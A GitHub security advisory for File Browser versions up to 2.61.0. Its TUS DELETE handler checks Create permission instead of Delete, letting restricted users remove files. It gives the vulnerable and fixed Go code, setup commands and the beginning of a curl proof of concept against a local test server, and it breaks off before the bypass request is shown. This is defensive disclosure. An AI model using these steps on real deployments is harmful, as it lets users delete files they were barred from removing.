GitHub Security Advisory: GHSA-79pf-vx4x-7jmm
Package: github.com/filebrowser/filebrowser/v2 (GO)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-284: Improper Access Control, CWE-732: Incorrect Permission Assignment for Critical Resource
Vulnerable versions: <= 2.61.0
Patched in: 2.61.1

Summary: File Browser's TUS Delete Endpoint Bypasses Delete Permission Check

Details:
### Summary

A broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.

### Details

The tusDeleteHandler function in http/tus_handlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:

```go
// http/tus_handlers.go - tusDeleteHandler (VULNERABLE)
func tusDeleteHandler(cache UploadCache) handleFunc {
    return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
        if r.URL.Path == "/" || !d.user.Perm.Create {  // ← Wrong permission checked
            return http.StatusForbidden, nil
        }
        // ...
        err = d.user.Fs.RemoveAll(r.URL.Path)  // File is deleted
```

The correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:

```go
// http/resource.go - resourceDeleteHandler (CORRECT)
func resourceDeleteHandler(fileCache FileCache) handleFunc {
    return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
        if r.URL.Path == "/" || !d.user.Perm.Delete {  // ← Correct permission
            return http.StatusForbidden, nil
        }
```

This inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tus_handlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.

### Proposed fix:

```go
// http/tus_handlers.go
- if r.URL.Path == "/" || !d.user.Perm.Create {
+ if r.URL.Path == "/" || !d.user.Perm.Delete {
```

### PoC

- filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser) 
- Tested on: Kali Linux, go version go1.23+

### Setup section

```bash
# Build and initialize
git clone https://github.com/filebrowser/filebrowser
cd filebrowser
go build -o filebrowser .
./filebrowser config init

# Create a test user with Create=true but Delete=false
./filebrowser users add testuser SuperSecurePassword1234 \
  --perm.create=true \
  --perm.delete=false

# Start server
./filebrowser &
```

### POC script steps

1. Confirm the Delete permission is correctly enforced on the standard endpoint:

```bash
TOKEN=$(curl -s -X POST localhost:8080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"SuperSecurePassword1234"}')

# Attempt deletion via the standard resource endpoint → should be blocked
curl -s -X DELETE "localhost:8080/api/resources/target.txt" \
  -H "X-Auth: $TOKEN" \
  -w "HTTP Status: %{http_code}\n"

# Expected: HTTP Status: 403
``